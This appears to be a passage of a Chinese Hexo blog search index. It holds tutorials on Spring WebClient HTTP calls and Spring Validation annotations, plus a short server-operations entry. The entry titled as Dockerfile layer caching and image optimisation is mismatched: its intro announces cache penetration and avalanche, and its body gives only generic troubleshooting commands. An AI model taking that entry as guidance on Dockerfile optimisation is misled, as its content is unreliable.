headers.add(HttpHeaders.CONTENT_TYPE, MediaType.APPLICATION_JSON_VALUE);</span><br><span class="line">                headers.add(HttpHeaders.USER_AGENT, <span class="string">&quot;MyApp/1.0&quot;</span>);</span><br><span class="line">            &#125;)</span><br><span class="line">            .filter(logRequest())</span><br><span class="line">            .filter(logResponse())</span><br><span class="line">            .build();</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">private</span> ExchangeFilterFunction <span class="title function_">logRequest</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> ExchangeFilterFunction.ofRequestProcessor(request -&gt; &#123;</span><br><span class="line">            System.out.println(<span class="string">&quot;Request: &quot;</span> + request.method() + <span class="string">&quot; &quot;</span> + request.url());</span><br><span class="line">            <span class="keyword">return</span> Mono.just(request);</span><br><span class="line">        &#125;);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">private</span> ExchangeFilterFunction <span class="title function_">logResponse</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> ExchangeFilterFunction.ofResponseProcessor(response -&gt; &#123;</span><br><span class="line">            System.out.println(<span class="string">&quot;Response: &quot;</span> + response.statusCode());</span><br><span class="line">            <span class="keyword">return</span> Mono.just(response);</span><br><span class="line">        &#125;);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="GET-请求"><a href="#GET-请求" class="headerlink" title="GET 请求"></a>GET 请求</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserApiService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> WebClient webClient;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 获取单个对象</span></span><br><span class="line">    <span class="keyword">public</span> Mono&lt;User&gt; <span class="title function_">getUser</span><span class="params">(Long id)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> webClient.get()</span><br><span class="line">            .uri(<span class="string">&quot;/users/&#123;id&#125;&quot;</span>, id)</span><br><span class="line">            .retrieve()</span><br><span class="line">            .bodyToMono(User.class);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 获取列表</span></span><br><span class="line">    <span class="keyword">public</span> Flux&lt;User&gt; <span class="title function_">listUsers</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> webClient.get()</span><br><span class="line">            .uri(<span class="string">&quot;/users&quot;</span>)</span><br><span class="line">            .retrieve()</span><br><span class="line">            .bodyToFlux(User.class);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 带查询参数</span></span><br><span class="line">    <span class="keyword">public</span> Flux&lt;User&gt; <span class="title function_">searchUsers</span><span class="params">(String keyword, <span class="type">int</span> page, <span class="type">int</span> size)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> webClient.get()</span><br><span class="line">            .uri(uriBuilder -&gt; uriBuilder</span><br><span class="line">                .path(<span class="string">&quot;/users/search&quot;</span>)</span><br><span class="line">                .queryParam(<span class="string">&quot;keyword&quot;</span>, keyword)</span><br><span class="line">                .queryParam(<span class="string">&quot;page&quot;</span>, page)</span><br><span class="line">                .queryParam(<span class="string">&quot;size&quot;</span>, size)</span><br><span class="line">                .build())</span><br><span class="line">            .retrieve()</span><br><span class="line">            .bodyToFlux(User.class);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 获取 String</span></span><br><span class="line">    <span class="keyword">public</span> Mono&lt;String&gt; <span class="title function_">getRawData</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> webClient.get()</span><br><span class="line">            .uri(<span class="string">&quot;/data&quot;</span>)</span><br><span class="line">            .retrieve()</span><br><span class="line">            .bodyToMono(String.class);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="POST-PUT-DELETE"><a href="#POST-PUT-DELETE" class="headerlink" title="POST/PUT/DELETE"></a>POST/PUT/DELETE</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">OrderApiService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> WebClient webClient;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// POST</span></span><br><span class="line">    <span class="keyword">public</span> Mono&lt;Order&gt; <span class="title function_">createOrder</span><span class="params">(CreateOrderRequest request)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> webClient.post()</span><br><span class="line">            .uri(<span class="string">&quot;/orders&quot;</span>)</span><br><span class="line">            .bodyValue(request)</span><br><span class="line">            .retrieve()</span><br><span class="line">            .bodyToMono(Order.class);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// POST with form data</span></span><br><span class="line">    <span class="keyword">public</span> Mono&lt;String&gt; <span class="title function_">submitForm</span><span class="params">(Map&lt;String, String&gt; formData)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> webClient.post()</span><br><span class="line">            .uri(<span class="string">&quot;/form&quot;</span>)</span><br><span class="line">            .contentType(MediaType.APPLICATION_FORM_URLENCODED)</span><br><span class="line">            .bodyValue(formData)</span><br><span class="line">            .retrieve()</span><br><span class="line">            .bodyToMono(String.class);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// PUT</span></span><br><span class="line">    <span class="keyword">public</span> Mono&lt;Order&gt; <span class="title function_">updateOrder</span><span class="params">(Long id, UpdateOrderRequest request)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> webClient.put()</span><br><span class="line">            .uri(<span class="string">&quot;/orders/&#123;id&#125;&quot;</span>, id)</span><br><span class="line">            .bodyValue(request)</span><br><span class="line">            .retrieve()</span><br><span class="line">            .bodyToMono(Order.class);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// DELETE</span></span><br><span class="line">    <span class="keyword">public</span> Mono&lt;Void&gt; <span class="title function_">deleteOrder</span><span class="params">(Long id)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> webClient.delete()</span><br><span class="line">            .uri(<span class="string">&quot;/orders/&#123;id&#125;&quot;</span>, id)</span><br><span class="line">            .retrieve()</span><br><span class="line">            .bodyToMono(Void.class);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// PATCH</span></span><br><span class="line">    <span class="keyword">public</span> Mono&lt;Order&gt; <span class="title function_">patchOrder</span><span class="params">(Long id, Map&lt;String, Object&gt; updates)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> webClient.patch()</span><br><span class="line">            .uri(<span class="string">&quot;/orders/&#123;id&#125;&quot;</span>, id)</span><br><span class="line">            .bodyValue(updates)</span><br><span class="line">            .retrieve()</span><br><span class="line">            .bodyToMono(Order.class);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="错误处理"><a href="#错误处理" class="headerlink" title="错误处理"></a>错误处理</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">ApiService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> Mono&lt;User&gt; <span class="title function_">getUserSafe</span><span class="params">(Long id)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> webClient.get()</span><br><span class="line">            .uri(<span class="string">&quot;/users/&#123;id&#125;&quot;</span>, id)</span><br><span class="line">            .retrieve()</span><br><span class="line">            <span class="comment">// 4xx 错误处理</span></span><br><span class="line">            .onStatus(HttpStatusCode::is4xxClientError, response -&gt; &#123;</span><br><span class="line">                <span class="keyword">if</span> (response.statusCode() == HttpStatus.NOT_FOUND) &#123;</span><br><span class="line">                    <span class="keyword">return</span> Mono.error(<span class="keyword">new</span> <span class="title class_">NotFoundException</span>(<span class="string">&quot;用户不存在&quot;</span>));</span><br><span class="line">                &#125;</span><br><span class="line">                <span class="keyword">return</span> Mono.error(<span class="keyword">new</span> <span class="title class_">BadRequestException</span>(<span class="string">&quot;请求错误&quot;</span>));</span><br><span class="line">            &#125;)</span><br><span class="line">            <span class="comment">// 5xx 错误处理</span></span><br><span class="line">            .onStatus(HttpStatusCode::is5xxServerError, response -&gt;</span><br><span class="line">                Mono.error(<span class="keyword">new</span> <span class="title class_">ServerException</span>(<span class="string">&quot;服务器错误&quot;</span>)))</span><br><span class="line">            .bodyToMono(User.class)</span><br><span class="line">            <span class="comment">// 空值处理</span></span><br><span class="line">            .switchIfEmpty(Mono.error(<span class="keyword">new</span> <span class="title class_">NotFoundException</span>(<span class="string">&quot;用户不存在&quot;</span>)))</span><br><span class="line">            <span class="comment">// 异常恢复</span></span><br><span class="line">            .onErrorResume(NotFoundException.class, e -&gt; &#123;</span><br><span class="line">                log.warn(<span class="string">&quot;用户不存在: &#123;&#125;&quot;</span>, id);</span><br><span class="line">                <span class="keyword">return</span> Mono.just(<span class="keyword">new</span> <span class="title class_">User</span>());  <span class="comment">// 返回默认值</span></span><br><span class="line">            &#125;);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="超时与重试"><a href="#超时与重试" class="headerlink" title="超时与重试"></a>超时与重试</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">ResilientApiService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> Mono&lt;User&gt; <span class="title function_">getUserWithRetry</span><span class="params">(Long id)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> webClient.get()</span><br><span class="line">            .uri(<span class="string">&quot;/users/&#123;id&#125;&quot;</span>, id)</span><br><span class="line">            .retrieve()</span><br><span class="line">            .bodyToMono(User.class)</span><br><span class="line">            .timeout(Duration.ofSeconds(<span class="number">5</span>))  <span class="comment">// 超时5秒</span></span><br><span class="line">            .retryWhen(Retry.backoff(<span class="number">3</span>, Duration.ofSeconds(<span class="number">1</span>))</span><br><span class="line">                .filter(throwable -&gt; throwable <span class="keyword">instanceof</span> TimeoutException)</span><br><span class="line">                .doAfterRetry(retrySignal -&gt; </span><br><span class="line">                    log.warn(<span class="string">&quot;重试第&#123;&#125;次&quot;</span>, retrySignal.totalRetries())));</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 更复杂的重试策略</span></span><br><span class="line">    <span class="keyword">public</span> Mono&lt;Order&gt; <span class="title function_">createOrderWithRetry</span><span class="params">(CreateOrderRequest request)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> webClient.post()</span><br><span class="line">            .uri(<span class="string">&quot;/orders&quot;</span>)</span><br><span class="line">            .bodyValue(request)</span><br><span class="line">            .retrieve()</span><br><span class="line">            .bodyToMono(Order.class)</span><br><span class="line">            .retryWhen(Retry.fixedDelay(<span class="number">3</span>, Duration.ofMillis(<span class="number">500</span>))</span><br><span class="line">                .filter(throwable -&gt; &#123;</span><br><span class="line">                    <span class="comment">// 只对特定错误重试</span></span><br><span class="line">                    <span class="keyword">return</span> throwable <span class="keyword">instanceof</span> IOException ||</span><br><span class="line">                           (throwable <span class="keyword">instanceof</span> WebClientResponseException &amp;&amp;</span><br><span class="line">                            ((WebClientResponseException) throwable).getStatusCode() == HttpStatus.SERVICE_UNAVAILABLE);</span><br><span class="line">                &#125;)</span><br><span class="line">                .onRetryExhaustedThrow((retryBackoffSpec, retrySignal) -&gt;</span><br><span class="line">                    <span class="keyword">new</span> <span class="title class_">ServiceUnavailableException</span>(<span class="string">&quot;服务暂时不可用&quot;</span>)));</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="并发请求"><a href="#并发请求" class="headerlink" title="并发请求"></a>并发请求</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">ParallelApiService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> Mono&lt;AggregateData&gt; <span class="title function_">fetchAggregateData</span><span class="params">(Long userId)</span> &#123;</span><br><span class="line">        Mono&lt;User&gt; userMono = getUser(userId);</span><br><span class="line">        Mono&lt;List&lt;Order&gt;&gt; ordersMono = getOrders(userId).collectList();</span><br><span class="line">        Mono&lt;Wallet&gt; walletMono = getWallet(userId);</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">return</span> Mono.zip(userMono, ordersMono, walletMono)</span><br><span class="line">            .map(tuple -&gt; &#123;</span><br><span class="line">                <span class="type">AggregateData</span> <span class="variable">data</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">AggregateData</span>();</span><br><span class="line">                data.setUser(tuple.getT1());</span><br><span class="line">                data.setOrders(tuple.getT2());</span><br><span class="line">                data.setWallet(tuple.getT3());</span><br><span class="line">                <span class="keyword">return</span> data;</span><br><span class="line">            &#125;);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 批量获取（并行）</span></span><br><span class="line">    <span class="keyword">public</span> Flux&lt;User&gt; <span class="title function_">getUsersParallel</span><span class="params">(List&lt;Long&gt; ids)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> Flux.fromIterable(ids)</span><br><span class="line">            .flatMap(id -&gt; getUser(id)</span><br><span class="line">                .subscribeOn(Schedulers.boundedElastic()), <span class="number">50</span>);  <span class="comment">// 并发数50</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="文件上传-下载"><a href="#文件上传-下载" class="headerlink" title="文件上传/下载"></a>文件上传/下载</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">FileService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 上传文件</span></span><br><span class="line">    <span class="keyword">public</span> Mono&lt;String&gt; <span class="title function_">uploadFile</span><span class="params">(FilePart file)</span> &#123;</span><br><span class="line">        <span class="type">MultipartBodyBuilder</span> <span class="variable">builder</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">MultipartBodyBuilder</span>();</span><br><span class="line">        builder.part(<span class="string">&quot;file&quot;</span>, file)</span><br><span class="line">            .header(<span class="string">&quot;Content-Disposition&quot;</span>, </span><br><span class="line">                <span class="string">&quot;form-data; name=file; filename=&quot;</span> + file.filename());</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">return</span> webClient.post()</span><br><span class="line">            .uri(<span class="string">&quot;/upload&quot;</span>)</span><br><span class="line">            .contentType(MediaType.MULTIPART_FORM_DATA)</span><br><span class="line">            .bodyValue(builder.build())</span><br><span class="line">            .retrieve()</span><br><span class="line">            .bodyToMono(String.class);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 下载文件</span></span><br><span class="line">    <span class="keyword">public</span> Mono&lt;<span class="type">byte</span>[]&gt; downloadFile(String fileId) &#123;</span><br><span class="line">        <span class="keyword">return</span> webClient.get()</span><br><span class="line">            .uri(<span class="string">&quot;/files/&#123;id&#125;&quot;</span>, fileId)</span><br><span class="line">            .retrieve()</span><br><span class="line">            .bodyToMono(<span class="type">byte</span>[].class);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 下载大文件（流式）</span></span><br><span class="line">    <span class="keyword">public</span> Flux&lt;DataBuffer&gt; <span class="title function_">downloadLargeFile</span><span class="params">(String fileId)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> webClient.get()</span><br><span class="line">            .uri(<span class="string">&quot;/files/&#123;id&#125;&quot;</span>, fileId)</span><br><span class="line">            .retrieve()</span><br><span class="line">            .bodyToFlux(DataBuffer.class);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="完整配置示例"><a href="#完整配置示例" class="headerlink" title="完整配置示例"></a>完整配置示例</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Bean</span></span><br><span class="line"><span class="keyword">public</span> WebClient <span class="title function_">webClient</span><span class="params">(ReactorResourceFactory resourceFactory)</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="type">ReactorClientHttpConnector</span> <span class="variable">connector</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ReactorClientHttpConnector</span>(</span><br><span class="line">        resourceFactory, client -&gt; client</span><br><span class="line">            .option(ChannelOption.CONNECT_TIMEOUT_MILLIS, <span class="number">5000</span>)</span><br><span class="line">            .responseTimeout(Duration.ofSeconds(<span class="number">10</span>))</span><br><span class="line">            .doOnConnected(conn -&gt; conn</span><br><span class="line">                .addHandlerLast(<span class="keyword">new</span> <span class="title class_">ReadTimeoutHandler</span>(<span class="number">10</span>))</span><br><span class="line">                .addHandlerLast(<span class="keyword">new</span> <span class="title class_">WriteTimeoutHandler</span>(<span class="number">10</span>)))</span><br><span class="line">    );</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">return</span> WebClient.builder()</span><br><span class="line">        .clientConnector(connector)</span><br><span class="line">        .baseUrl(<span class="string">&quot;https://api.example.com&quot;</span>)</span><br><span class="line">        .defaultHeaders(headers -&gt; &#123;</span><br><span class="line">            headers.add(HttpHeaders.CONTENT_TYPE, MediaType.APPLICATION_JSON_VALUE);</span><br><span class="line">            headers.add(HttpHeaders.ACCEPT, MediaType.APPLICATION_JSON_VALUE);</span><br><span class="line">        &#125;)</span><br><span class="line">        .filter(ExchangeFilterFunction.ofRequestProcessor(request -&gt; &#123;</span><br><span class="line">            log.debug(<span class="string">&quot;Request: &#123;&#125; &#123;&#125;&quot;</span>, request.method(), request.url());</span><br><span class="line">            <span class="keyword">return</span> Mono.just(request);</span><br><span class="line">        &#125;))</span><br><span class="line">        .build();</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><table><thead><tr><th>场景</th><th>方案</th></tr></thead><tbody><tr><td>简单 GET</td><td><code>webClient.get().uri(...).retrieve().bodyToMono(...)</code></td></tr><tr><td>带参数</td><td><code>uri(builder -&gt; builder.queryParam(...))</code></td></tr><tr><td>POST JSON</td><td><code>.bodyValue(object)</code></td></tr><tr><td>错误处理</td><td><code>.onStatus(...)</code> + <code>.onErrorResume(...)</code></td></tr><tr><td>超时</td><td><code>.timeout(Duration)</code></td></tr><tr><td>重试</td><td><code>.retryWhen(Retry...)</code></td></tr><tr><td>并发</td><td><code>Mono.zip(...)</code> 或 <code>Flux.flatMap(...)</code></td></tr></tbody></table><p>WebClient 是 Spring 生态中推荐的 HTTP 客户端，特别适合微服务间的高并发调用场景。</p>]]></content>
      
      
      <categories>
          
          <category> Spring </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> Spring </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Dockerfile 分层缓存和镜像优化</title>
      <link href="//dockerfile-fen-ceng-huan-cun-he-jing-xiang-you-hua/"/>
      <url>//dockerfile-fen-ceng-huan-cun-he-jing-xiang-you-hua/</url>
      
        <content type="html"><![CDATA[<h1 id="Dockerfile-分层缓存和镜像优化"><a href="#Dockerfile-分层缓存和镜像优化" class="headerlink" title="Dockerfile 分层缓存和镜像优化"></a>Dockerfile 分层缓存和镜像优化</h1><p>缓存穿透、击穿、雪崩是三个经典问题。本文从现象到解决方案，把这三个概念讲清楚。</p><h2 id="先准备可回滚的操作方式"><a href="#先准备可回滚的操作方式" class="headerlink" title="先准备可回滚的操作方式"></a>先准备可回滚的操作方式</h2><p>服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">pwd</span></span><br><span class="line"><span class="built_in">ls</span> -lah</span><br><span class="line"><span class="built_in">cp</span> app.conf app.conf.bak.$(<span class="built_in">date</span> +%F-%H%M%S)</span><br></pre></td></tr></table></figure><p>如果是 Nginx，改完一定先检查配置：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">nginx -t</span><br><span class="line">systemctl reload nginx</span><br></pre></td></tr></table></figure><p>如果是 Docker，先看容器状态和日志：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">docker ps -a</span><br><span class="line">docker logs --<span class="built_in">tail</span>=100 &lt;container&gt;</span><br></pre></td></tr></table></figure><h2 id="排查顺序"><a href="#排查顺序" class="headerlink" title="排查顺序"></a>排查顺序</h2><ol><li>看服务是否还活着。</li><li>看端口是否监听。</li><li>看日志里是否有明确错误。</li><li>看磁盘、内存、CPU 是否异常。</li><li>修改后用命令或浏览器验证结果。</li></ol><p>常用命令：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ss -lntp</span><br><span class="line"><span class="built_in">df</span> -h</span><br><span class="line">free -m</span><br><span class="line"><span class="built_in">tail</span> -f /var/log/nginx/error.log</span><br></pre></td></tr></table></figure><h2 id="小白要注意什么"><a href="#小白要注意什么" class="headerlink" title="小白要注意什么"></a>小白要注意什么</h2><p>不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。</p>]]></content>
      
      
      <categories>
          
          <category> Docker </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 服务器 </tag>
            
            <tag> docker </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>SpringValidation参数校验</title>
      <link href="//springvalidation-can-shu-xiao-yan/"/>
      <url>//springvalidation-can-shu-xiao-yan/</url>
      
        <content type="html"><![CDATA[<h1 id="SpringValidation参数校验"><a href="#SpringValidation参数校验" class="headerlink" title="SpringValidation参数校验"></a>SpringValidation参数校验</h1><p>Spring Validation 基于 JSR-380（Bean Validation 2.0），提供了一套完整的参数校验机制。</p><h2 id="引入依赖"><a href="#引入依赖" class="headerlink" title="引入依赖"></a>引入依赖</h2><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>org.springframework.boot<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>spring-boot-starter-validation<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br></pre></td></tr></table></figure><h2 id="常用校验注解"><a href="#常用校验注解" class="headerlink" title="常用校验注解"></a>常用校验注解</h2><h3 id="空值检查"><a href="#空值检查" class="headerlink" title="空值检查"></a>空值检查</h3><table><thead><tr><th>注解</th><th>说明</th></tr></thead><tbody><tr><td>@Null</td><td>必须为 null</td></tr><tr><td>@NotNull</td><td>不能为 null</td></tr><tr><td>@NotBlank</td><td>不能为 null 且至少一个非空白字符</td></tr><tr><td>@NotEmpty</td><td>不能为 null 且不为空（字符串/集合/数组）</td></tr></tbody></table><h3 id="数值检查"><a href="#数值检查" class="headerlink" title="数值检查"></a>数值检查</h3><table><thead><tr><th>注解</th><th>说明</th></tr></thead><tbody><tr><td>@Min</td><td>最小值</td></tr><tr><td>@Max</td><td>最大值</td></tr><tr><td>@Range</td><td>范围（@Min + @Max）</td></tr><tr><td>@DecimalMin</td><td>最小小数</td></tr><tr><td>@DecimalMax</td><td>最大小数</td></tr><tr><td>@Positive</td><td>正数</td></tr><tr><td>@PositiveOrZero</td><td>正数或零</td></tr><tr><td>@Negative</td><td>负数</td></tr><tr><td>@NegativeOrZero</td><td>负数或零</td></tr><tr><td>@Digits</td><td>小数位数限制</td></tr></tbody></table><h3 id="字符串检查"><a href="#字符串检查" class="headerlink" title="字符串检查"></a>字符串检查</h3><table><thead><tr><th>注解</th><th>说明</th></tr></thead><tbody><tr><td>@Size</td><td>长度/大小范围</td></tr><tr><td>@Length</td><td>长度范围（Hibernate）</td></tr><tr><td>@Pattern</td><td>正则匹配</td></tr><tr><td>@Email</td><td>邮箱格式</td></tr><tr><td>@URL</td><td>URL 格式（Hibernate）</td></tr><tr><td>@CreditCardNumber</td><td>信用卡号（Hibernate）</td></tr></tbody></table><h3 id="时间检查"><a href="#时间检查" class="headerlink" title="时间检查"></a>时间检查</h3><table><thead><tr><th>注解</th><th>说明</th></tr></thead><tbody><tr><td>@Future</td><td>未来时间</td></tr><tr><td>@FutureOrPresent</td><td>未来或现在</td></tr><tr><td>@Past</td><td>过去时间</td></tr><tr><td>@PastOrPresent</td><td>过去或现在</td></tr></tbody></table><h2 id="基本使用"><a href="#基本使用" class="headerlink" title="基本使用"></a>基本使用</h2><h3 id="实体校验"><a href="#实体校验" class="headerlink" title="实体校验"></a>实体校验</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Data</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserCreateRequest</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@NotBlank(message = &quot;用户名不能为空&quot;)</span></span><br><span class="line">    <span class="meta">@Size(min = 2, max = 20, message = &quot;用户名长度2-20&quot;)</span></span><br><span class="line">    <span class="keyword">private</span> String username;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@NotBlank(message = &quot;密码不能为空&quot;)</span></span><br><span class="line">    <span class="meta">@Size(min = 6, message = &quot;密码至少6位&quot;)</span></span><br><span class="line">    <span class="meta">@Pattern(regexp = &quot;^(?=.*[a-zA-Z])(?=.*\\d).+$&quot;, </span></span><br><span class="line"><span class="meta">             message = &quot;密码必须包含字母和数字&quot;)</span></span><br><span class="line">    <span class="keyword">private</span> String password;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@NotBlank(message = &quot;邮箱不能为空&quot;)</span></span><br><span class="line">    <span class="meta">@Email(message = &quot;邮箱格式不正确&quot;)</span></span><br><span class="line">    <span class="keyword">private</span> String email;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Min(value = 1, message = &quot;年龄不能小于1&quot;)</span></span><br><span class="line">    <span class="meta">@Max(value = 150, message = &quot;年龄不能大于150&quot;)</span></span><br><span class="line">    <span class="keyword">private</span> Integer age;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Pattern(regexp = &quot;^1[3-9]\\d&#123;9&#125;$&quot;, message = &quot;手机号格式不正确&quot;)</span></span><br><span class="line">    <span class="keyword">private</span> String phone;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="控制器使用"><a href="#控制器使用" class="headerlink" title="控制器使用"></a>控制器使用</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@RestController</span></span><br><span class="line"><span class="meta">@RequestMapping(&quot;/users&quot;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserController</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@PostMapping</span></span><br><span class="line">    <span class="keyword">public</span> Result&lt;Long&gt; <span class="title function_">create</span><span class="params">(<span class="meta">@Valid</span> <span class="meta">@RequestBody</span> UserCreateRequest request)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> Result.success(userService.create(request));</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@PutMapping(&quot;/&#123;id&#125;&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> Result&lt;Void&gt; <span class="title function_">update</span><span class="params">(<span class="meta">@PathVariable</span> Long id,</span></span><br><span class="line"><span class="params">                                <span class="meta">@Valid</span> <span class="meta">@RequestBody</span> UserUpdateRequest request)</span> &#123;</span><br><span class="line">        userService.update(id, request);</span><br><span class="line">        <span class="keyword">return</span> Result.success();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="分组校验"><a href="#分组校验" class="headerlink" title="分组校验"></a>分组校验</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">interface</span> <span class="title class_">CreateGroup</span> &#123;&#125;</span><br><span class="line"><span class="keyword">public</span> <span class="keyword">interface</span> <span class="title class_">UpdateGroup</span> &#123;&#125;</span><br><span class="line"><span class="keyword">public</span> <span class="keyword">interface</span> <span class="title class_">DeleteGroup</span> &#123;&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">@Data</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserRequest</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@NotNull(groups = UpdateGroup.class, message = &quot;ID不能为空&quot;)</span></span><br><span class="line">    <span class="keyword">private</span> Long id;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@NotBlank(groups = &#123;CreateGroup.class, UpdateGroup.class&#125;)</span></span><br><span class="line">    <span class="meta">@Size(min = 2, max = 20, groups = &#123;CreateGroup.class, UpdateGroup.class&#125;)</span></span><br><span class="line">    <span class="keyword">private</span> String username;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@NotBlank(groups = CreateGroup.class)</span></span><br><span class="line">    <span class="meta">@Size(min = 6, groups = CreateGroup.class)</span></span><br><span class="line">    <span class="keyword">private</span> String password;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@NotBlank(groups = 